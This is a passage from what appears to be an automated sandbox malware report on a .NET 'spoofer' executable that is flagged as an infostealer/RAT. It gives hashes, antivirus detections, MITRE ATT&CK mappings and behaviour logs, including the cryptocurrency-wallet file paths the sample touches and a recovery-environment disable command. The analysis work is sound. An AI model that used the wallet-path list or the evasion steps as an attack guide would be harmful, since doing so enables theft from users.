(x86)\Microsoft\EdgeUpdate\1.3.251.5\MicrosoftEdgeUpdateComRegisterShell64.exe" (Handle: 720)77:T4d2,"ONENOTEM.EXE" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\COM.LIBERTY.JAXX\INDEXEDDB\FILE__0.INDEXEDDB.LEVELDB" "ONENOTEM.EXE" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\EXODUS\EXODUS.WALLET" "ONENOTEM.EXE" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\ATOMIC\LOCAL STORAGE\LEVELDB" "ONENOTEM.EXE" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\COINOMI\COINOMI\WALLETS" "ONENOTEM.EXE" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\ETHEREUM\KEYSTORE" "ONENOTEM.EXE" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\ELECTRUM\WALLETS" "ONENOTEM.EXE" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\GUARDA\LOCAL STORAGE\LEVELDB" "ONENOTEM.EXE" trying to touch file "%APPDATA%\COM.LIBERTY.JAXX\INDEXEDDB\FILE__0.INDEXEDDB.LEVELDB" "ONENOTEM.EXE" trying to touch file "%APPDATA%\EXODUS\EXODUS.WALLET" "ONENOTEM.EXE" trying to touch file "%APPDATA%\ATOMIC\LOCAL STORAGE\LEVELDB" "ONENOTEM.EXE" trying to touch file "%APPDATA%\COINOMI\COINOMI\WALLETS" "ONENOTEM.EXE" trying to touch file "%APPDATA%\ETHEREUM\KEYSTORE" "ONENOTEM.EXE" trying to touch file "%APPDATA%\ELECTRUM\WALLETS" "ONENOTEM.EXE" trying to touch file "%APPDATA%\GUARDA\LOCAL STORAGE\LEVELDB"78:T1295,Spawned process "SexsoldierSpoofer.exe" (UID: 00000000-00004648) Spawned process "conhost.exe" (UID: 00000000-00004224) Spawned process "RPZ-HWID.exe" (UID: 00000000-00007748) Spawned process "svchost.exe" (UID: 00000000-00004952) Spawned process "svchost.exe" (UID: 00000000-00003232) Spawned process "ONENOTEM.EXE" (UID: 00000000-00005500) Spawned process "powershell.exe" (UID: 00000000-00002136) Spawned process "ONENOTEM.EXE" with commandline "-" (UID: 00000000-00004272) Spawned process "ONENOTEM.EXE" with commandline "-" (UID: 00000000-00008188) Spawned process "ReAgentc.exe" with commandline "/disable" (UID: 00000000-00003868) Spawned process "svchost.exe" (UID: 00000000-00003088) Spawned process "MicrosoftEdgeWebview2Setup.exe" with commandline "/silent /install" (UID: 00000000-00007060) Spawned process "MicrosoftEdgeUpdate.exe" with commandline "/silent /install "appguid={F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}&appname=Microsoft%20Edge%20Webview2%20Runtime&needsadmin=prefers"" (UID: 00000000-00007728) Spawned process "MicrosoftEdgeUpdate.exe" with commandline "/regsvc" (UID: 00000000-00007992) Spawned process "MicrosoftEdgeUpdate.exe" with commandline "/regserver" (UID: 00000000-00005096) Spawned process "MicrosoftEdgeUpdateComRegisterShell64.exe" (UID: 00000000-00006152) Spawned process "MicrosoftEdgeUpdateComRegisterShell64.exe" (UID: 00000000-00001176) Spawned process "MicrosoftEdgeUpdateComRegisterShell64.exe" (UID: 00000000-00005284) Spawned process "MicrosoftEdgeUpdate.exe" with commandline "/ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4yNTEuNSIgc2hlbGxfdmVyc2lvbj0iMS4zLjI1MS41IiBpc21hY2hpbmU9IjEiIHNlc3Npb25pZD0iezU2RDhGNzdDLTkxQTItNEU3NC04RDFCLUJGQjE1RDQ4NUYyRH0iIGluc3RhbGxzb3VyY2U9Im90aGVyaW5zdGFsbGNtZCIgcmVxdWVzdGlkPSJ7RkVCRjYyQzUtNDJCMC00QTJGLTkxQTAtQTk1QkE1NUU5REE2fSIgZGVkdXA9ImNyIiBkb21haW5qb2luZWQ9IjAiPjxodyBsb2dpY2FsX2NwdXM9IjgiIHBoeXNtZW1vcnk9IjgiIGRpc2tfdHlwZT0iMiIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4xNjI5OS4yNDgiIHNwPSIiIGFyY2g9Ing2NCIgcHJvZHVjdF90eXBlPSI0OCIgaXNfd2lwPSIwIiBpc19pbl9sb2NrZG93bl9tb2RlPSIwIi8-PG9lbSBwcm9kdWN0X21hbnVmYWN0dXJlcj0iUGFRZkRBOW5qIiBwcm9kdWN0X25hbWU9IlV1ZEJ6djgwSldNSSIvPjxleHAgZXRhZz0iJnF1b3Q7K1pGQWozU09JSTVCSnpvR3V6OE9wcjBoWjhIL3JEenFiL1FWcjNQWWg0ST0mcXVvdDsiLz48YXBwIGFwcGlkPSJ7RjNDNEZFMDAtRUZENS00MDNCLTk1NjktMzk4QTIwRjFCQTRBfSIgdmVyc2lvbj0iMS4zLjIyMS4zIiBuZXh0dmVyc2lvbj0iMS4zLjI1MS41IiBsYW5nPSIiIGJyYW5kPSIiIGNsaWVudD0iIj48ZXZlbnQgZXZlbnR0eXBlPSIyIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIwIiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSIxMjc0NDU1Mjc0NiIgaW5zdGFsbF90aW1lX21zPSIyNDA2NSIvPjwvYXBwPjwvcmVxdWVzdD4" (UID: 00000000-00007636) Spawned process "MicrosoftEdgeUpdate.exe" with commandline "/handoff "appguid={F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}&appname=Microsoft%20Edge%20Webview2%20Runtime&needsadmin=prefers" /installsource otherinstallcmd /sessionid "{56D8F77C-91A2-4E74-8D1B-BFB15D485F2D}" /silent" (UID: 00000000-00007592) Spawned process "MicrosoftEdgeUpdate.exe" with commandline "/svc" (UID: 00000000-00003976) Spawned process "MicrosoftEdgeUpdate.exe" with commandline "/ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4yNTEuNSIgc2hlbGxfdmVyc2lvbj0iMS4zLjI1MS41IiBpc21hY2hpbmU9IjEiIHNlc3Npb25pZD0iezU2RDhGNzdDLTkxQTItNEU3NC04RDFCLUJGQjE1RDQ4NUYyRH0iIGluc3RhbGxzb3VyY2U9ImxpbWl0ZWQiIHJlcXVlc3RpZD0iezZERDE2QkY5LThBQzQtNDZFQi1CQkFELUQ1NTI3Q0JEMTcxNH0iIGRlZHVwPSJjciIgZG9tYWluam9pbmVkPSIwIj48aHcgbG9naWNhbF9jcHVzPSI4IiBwaHlzbWVtb3J5PSI4IiBkaXNrX3R5cGU9IjIiIHNzZT0iMSIgc3NlMj0iMSIgc3NlMz0iMSIgc3NzZTM9IjEiIHNzZTQxPSIxIiBzc2U0Mj0iMSIgYXZ4PSIxIi8-PG9zIHBsYXRmb3JtPSJ3aW4iIHZlcnNpb249IjEwLjAuMTYyOTkuMjQ4IiBzcD0iIiBhcmNoPSJ4NjQiIHByb2R1Y3RfdHlwZT0iNDgiIGlzX3dpcD0iMCIgaXNfaW5fbG9ja2Rvd25fbW9kZT0iMCIvPjxvZW0gcHJvZHVjdF9tYW51ZmFjdHVyZXI9IlBhUWZEQTluaiIgcHJvZHVjdF9uYW1lPSJVdWRCenY4MEpXTUkiLz48ZXhwIGV0YWc9IiZxdW90O2taeW5qa0owa1dpVm5MTmJYb2xCM1d3R2tndk02a0hjRGRGcmoxcmpiUG89JnF1b3Q7Ii8-PGFwcCBhcHBpZD0iezhBNjlEMzQ1LUQ1NjQtNDYzYy1BRkYxLUE2OUQ5RTUzMEY5Nn0iIHZlcnNpb249IjE0NC4wLjc1NTkuMTMzIiBuZXh0dmVyc2lvbj0iIiBsYW5nPSJlbiIgYnJhbmQ9IkhLRkwiIGNsaWVudD0iIiBpbnN0YWxsYWdlPSIyMzQiIGluc3RhbGxkYXRldGltZT0iMTc2OTk1MzYxMyIgb29iZV9pbnN0YWxsX3RpbWU9IjEzMTY0NzQwNDY3NDQ3MDAwMCIgZmlyc3RfZnJlX3NlZW5fdGltZT0iMTMyOTU2NDA4MTYyMjk2NTQwIiBmaXJzdF9mcmVfc2Vlbl92ZXJzaW9uPSIxMDAuMC4xMTg1LjUwIj48ZXZlbnQgZXZlbnR0eXBlPSIzMSIgZXZlbnRyZXN1bHQ9IjEiIGVycm9yY29kZT0iMCIgZXh0cmFjb2RlMT0iMTUxMDc4MTY3IiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSIxMjgwNTEzODc2MyIvPjwvYXBwPjwvcmVxdWVzdD4" (UID: 00000000-00002764)79:T4e9,/ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4yNTEuNSIgc2hlbGxfdmVyc2lvbj0iMS4zLjI1MS41IiBpc21hY2hpbmU9IjEiIHNlc3Npb25pZD0iezU2RDhGNzdDLTkxQTItNEU3NC04RDFCLUJGQjE1RDQ4NUYyRH0iIGluc3RhbGxzb3VyY2U9Im90aGVyaW5zdGFsbGNtZCIgcmVxdWVzdGlkPSJ7RkVCRjYyQzUtNDJCMC00QTJGLTkxQTAtQTk1QkE1NUU5REE2fSIgZGVkdXA9ImNyIiBkb21haW5qb2luZWQ9IjAiPjxodyBsb2dpY2FsX2NwdXM9IjgiIHBoeXNtZW1vcnk9IjgiIGRpc2tfdHlwZT0iMiIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4xNjI5OS4yNDgiIHNwPSIiIGFyY2g9Ing2NCIgcHJvZHVjdF90eXBlPSI0OCIgaXNfd2lwPSIwIiBpc19pbl9sb2NrZG93bl9tb2RlPSIwIi8-PG9lbSBwcm9kdWN0X21hbnVmYWN0dXJlcj0iUGFRZkRBOW5qIiBwcm9kdWN0X25hbWU9IlV1ZEJ6djgwSldNSSIvPjxleHAgZXRhZz0iJnF1b3Q7K1pGQWozU09JSTVCSnpvR3V6OE9wcjBoWjhIL3JEenFiL1FWcjNQWWg0ST0mcXVvdDsiLz48YXBwIGFwcGlkPSJ7RjNDNEZFMDAtRUZENS00MDNCLTk1NjktMzk4QTIwRjFCQTRBfSIgdmVyc2lvbj0iMS4zLjIyMS4zIiBuZXh0dmVyc2lvbj0iMS4zLjI1MS41IiBsYW5nPSIiIGJyYW5kPSIiIGNsaWVudD0iIj48ZXZlbnQgZXZlbnR0eXBlPSIyIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIwIiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSIxMjc0NDU1Mjc0NiIgaW5zdGFsbF90aW1lX21zPSIyNDA2NSIvPjwvYXBwPjwvcmVxdWVzdD47a:T5a9,/ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4yNTEuNSIgc2hlbGxfdmVyc2lvbj0iMS4zLjI1MS41IiBpc21hY2hpbmU9IjEiIHNlc3Npb25pZD0iezU2RDhGNzdDLTkxQTItNEU3NC04RDFCLUJGQjE1RDQ4NUYyRH0iIGluc3RhbGxzb3VyY2U9ImxpbWl0ZWQiIHJlcXVlc3RpZD0iezZERDE2QkY5LThBQzQtNDZFQi1CQkFELUQ1NTI3Q0JEMTcxNH0iIGRlZHVwPSJjciIgZG9tYWluam9pbmVkPSIwIj48aHcgbG9naWNhbF9jcHVzPSI4IiBwaHlzbWVtb3J5PSI4IiBkaXNrX3R5cGU9IjIiIHNzZT0iMSIgc3NlMj0iMSIgc3NlMz0iMSIgc3NzZTM9IjEiIHNzZTQxPSIxIiBzc2U0Mj0iMSIgYXZ4PSIxIi8-PG9zIHBsYXRmb3JtPSJ3aW4iIHZlcnNpb249IjEwLjAuMTYyOTkuMjQ4IiBzcD0iIiBhcmNoPSJ4NjQiIHByb2R1Y3RfdHlwZT0iNDgiIGlzX3dpcD0iMCIgaXNfaW5fbG9ja2Rvd25fbW9kZT0iMCIvPjxvZW0gcHJvZHVjdF9tYW51ZmFjdHVyZXI9IlBhUWZEQTluaiIgcHJvZHVjdF9uYW1lPSJVdWRCenY4MEpXTUkiLz48ZXhwIGV0YWc9IiZxdW90O2taeW5qa0owa1dpVm5MTmJYb2xCM1d3R2tndk02a0hjRGRGcmoxcmpiUG89JnF1b3Q7Ii8-PGFwcCBhcHBpZD0iezhBNjlEMzQ1LUQ1NjQtNDYzYy1BRkYxLUE2OUQ5RTUzMEY5Nn0iIHZlcnNpb249IjE0NC4wLjc1NTkuMTMzIiBuZXh0dmVyc2lvbj0iIiBsYW5nPSJlbiIgYnJhbmQ9IkhLRkwiIGNsaWVudD0iIiBpbnN0YWxsYWdlPSIyMzQiIGluc3RhbGxkYXRldGltZT0iMTc2OTk1MzYxMyIgb29iZV9pbnN0YWxsX3RpbWU9IjEzMTY0NzQwNDY3NDQ3MDAwMCIgZmlyc3RfZnJlX3NlZW5fdGltZT0iMTMyOTU2NDA4MTYyMjk2NTQwIiBmaXJzdF9mcmVfc2Vlbl92ZXJzaW9uPSIxMDAuMC4xMTg1LjUwIj48ZXZlbnQgZXZlbnR0eXBlPSIzMSIgZXZlbnRyZXN1bHQ9IjEiIGVycm9yY29kZT0iMCIgZXh0cmFjb2RlMT0iMTUxMDc4MTY3IiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSIxMjgwNTEzODc2MyIvPjwvYXBwPjwvcmVxdWVzdD41b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"0a4048ebe7a683ffef1cae2902477b713980fe4142ee703be02c7544ebbf66b4","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"SUCCESS","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791896869771,"unified_at":"2026-10-13T13:07:49.771Z","metadata":{"hashes":{"sha256":"0a4048ebe7a683ffef1cae2902477b713980fe4142ee703be02c7544ebbf66b4","sha1":"655b48f258f87d59b6da8602d0222ef706ff9c97","md5":"3c00448296dda1d5ee7dfe97e11e85b7","sha512":"0a1d0371d03c1139cf9048069c3ab55143e2b4e1ea307523c052f669dc359e8949b5f2c04e8e759ab49823030ba5cdf217ed8ded8b33cd16ced28af4ec486c8d","ssdeep":"98304:BjPrYm4Nj4237cruKcJhYxeCX0CLa9ec+xKdOEykp8vUQvBcUnxV3RlprqL:BIXdV37MHcJhI0CLKecykp8vUiBHx1Rm","ssdeep_chunks":["98304:BjPrYm4","98304:jPrYm4N","98304:PrYm4Nj","98304:rYm4Nj4","98304:Ym4Nj42","98304:m4Nj423","98304:4Nj4237","98304:Nj4237c","98304:j4237cr","98304:4237cru","98304:237cruK","98304:37cruKc","98304:7cruKcJ","98304:cruKcJh","98304:ruKcJhY","98304:uKcJhYx","98304:KcJhYxe","98304:cJhYxeC","98304:JhYxeCX","98304:hYxeCX0","98304:YxeCX0C","98304:xeCX0CL","98304:eCX0CLa","98304:CX0CLa9","98304:X0CLa9e","98304:0CLa9ec","98304:CLa9ec+","98304:La9ec+x","98304:a9ec+xK","98304:9ec+xKd","98304:ec+xKdO","98304:c+xKdOE","98304:+xKdOEy","98304:xKdOEyk","98304:KdOEykp","98304:dOEykp8","98304:OEykp8v","98304:Eykp8vU","98304:ykp8vUQ","98304:kp8vUQv","98304:p8vUQvB","98304:8vUQvBc","98304:vUQvBcU","98304:UQvBcUn","98304:QvBcUnx","98304:vBcUnxV","98304:BcUnxV3","98304:cUnxV3R","98304:UnxV3Rl","98304:nxV3Rlp","98304:xV3Rlpr","98304:V3Rlprq","98304:3RlprqL","196608:BjPrYm4","196608:jPrYm4N","196608:PrYm4Nj","196608:rYm4Nj4","196608:Ym4Nj42","196608:m4Nj423","196608:4Nj4237","196608:Nj4237c","196608:j4237cr","196608:4237cru","196608:237cruK","196608:37cruKc","196608:7cruKcJ","196608:cruKcJh","196608:ruKcJhY","196608:uKcJhYx","196608:KcJhYxe","196608:cJhYxeC","196608:JhYxeCX","196608:hYxeCX0","196608:YxeCX0C","196608:xeCX0CL","196608:eCX0CLa","196608:CX0CLa9","196608:X0CLa9e","196608:0CLa9ec","196608:CLa9ec+","196608:La9ec+x","196608:a9ec+xK","196608:9ec+xKd","196608:ec+xKdO","196608:c+xKdOE","196608:+xKdOEy","196608:xKdOEyk","196608:KdOEykp","196608:dOEykp8","196608:OEykp8v","196608:Eykp8vU","196608:ykp8vUQ","196608:kp8vUQv","196608:p8vUQvB","196608:8vUQvBc","196608:vUQvBcU","196608:UQvBcUn","196608:QvBcUnx","196608:vBcUnxV","196608:BcUnxV3","196608:cUnxV3R","196608:UnxV3Rl","196608:nxV3Rlp","196608:xV3Rlpr","196608:V3Rlprq","196608:3RlprqL","98304:BIXdV37","98304:IXdV37M","98304:XdV37MH","98304:dV37MHc","98304:V37MHcJ","98304:37MHcJh","98304:7MHcJhI","98304:MHcJhI0","98304:HcJhI0C","98304:cJhI0CL","98304:JhI0CLK","98304:hI0CLKe","98304:I0CLKec","98304:0CLKecy","98304:CLKecyk","98304:LKecykp","98304:Kecykp8","98304:ecykp8v","98304:cykp8vU","98304:ykp8vUi","98304:kp8vUiB","98304:p8vUiBH","98304:8vUiBHx","98304:vUiBHx1","98304:UiBHx1R","98304:iBHx1Rm"],"imphash":"f34d5f2d4577ed6d9ceec516c1f5a744","pehash":"72bfd295d5734dc09d00708ae3220fac119d7c90"},"file_info":{"file_name":"Sexsoldier Spoofer.exe","file_type":["peexe","assembly","executable"],"file_type_id":".NET exe","file_size":6072242,"entropy":8,"compile_timestamp":"2026-07-27T18:50:54","is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1785312619000,"last_seen":1790188115000,"last_multi_scan":1790188115000},"pe_metadata":{"is_dll":false,"is_packed":false,"section_count":3,"import_count":0,"export_count":0,"embedded_file_count":2,"sections":[{"name":".text","virtual_address":"0x2000","virtual_size":4244,"raw_size":4608},{"name":".rsrc","virtual_address":"0x4000","virtual_size":1288,"raw_size":1536},{"name":".reloc","virtual_address":"0x6000","virtual_size":12,"raw_size":512}],"section_names":[".text",".rsrc",".reloc"],"imported_dlls":null,"imported_functions":null}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["salatstealer","criminal","informationstealer","rat","ransomware","infostealer","evasive","malicious"]},"stats":{"av":{"malicious_count":12,"suspicious_count":0,"total_engines":25},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":127},"sandbox_signatures":{"informative_count":348,"suspicious_count":23,"malicious_count":23,"total":394},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win.Generic","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan[Packed]/Win64.VMProtect","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"malicious","threat_name":"Malware_-10","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/Dropper.Gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Adware.Lazy.3898","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Adware.Lazy.3898 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Win64/GenKryptik_AGen.EUT trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 700000201 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"malicious","threat_name":"high_entropy","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Troj/Salat-B","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.GenKryptik.Win64.75349","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Adware.Lazy.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","identifiers":[{"type":"suspicious","value":"Found registry location strings which can modify auto-execute functionality"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"},{"type":"informative","value":"Writes log files"},{"type":"informative","value":"Calls an API typically used to create a directory"},{"type":"informative","value":"Copy files into temp folder"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Found potential URLs in memory dumps"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Can load assembly that contains the code that is currently executing (Dotnet)"},{"type":"informative","value":"Loads the CLR Loader DLL"},{"type":"informative","value":"Dotnet code contains potential unpacker"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"PE file contains large number of import functions"},{"type":"informative","value":"Input file contains API references not part of its Import Address Table (IAT)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Able to execute application (.NET)"},{"type":"informative","value":"Contains native function calls (syscalls strings)"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Contains ability to dynamically load libraries"},{"type":"informative","value":"Able to execute applications using .NET process API"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Found Native API in Dotnet file"},{"type":"informative","value":"Contains ability to start a process (Dotnet)"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"suspicious","value":"Imports suspicious APIs"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"},{"type":"informative","value":"Able to execute applications in hidden mode (.NET)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":".NET code is able to query registry"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"informative","value":"Reads Windows Trust Settings"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to set file attributes (Dotnet)"},{"type":"informative","value":"Contains ability to 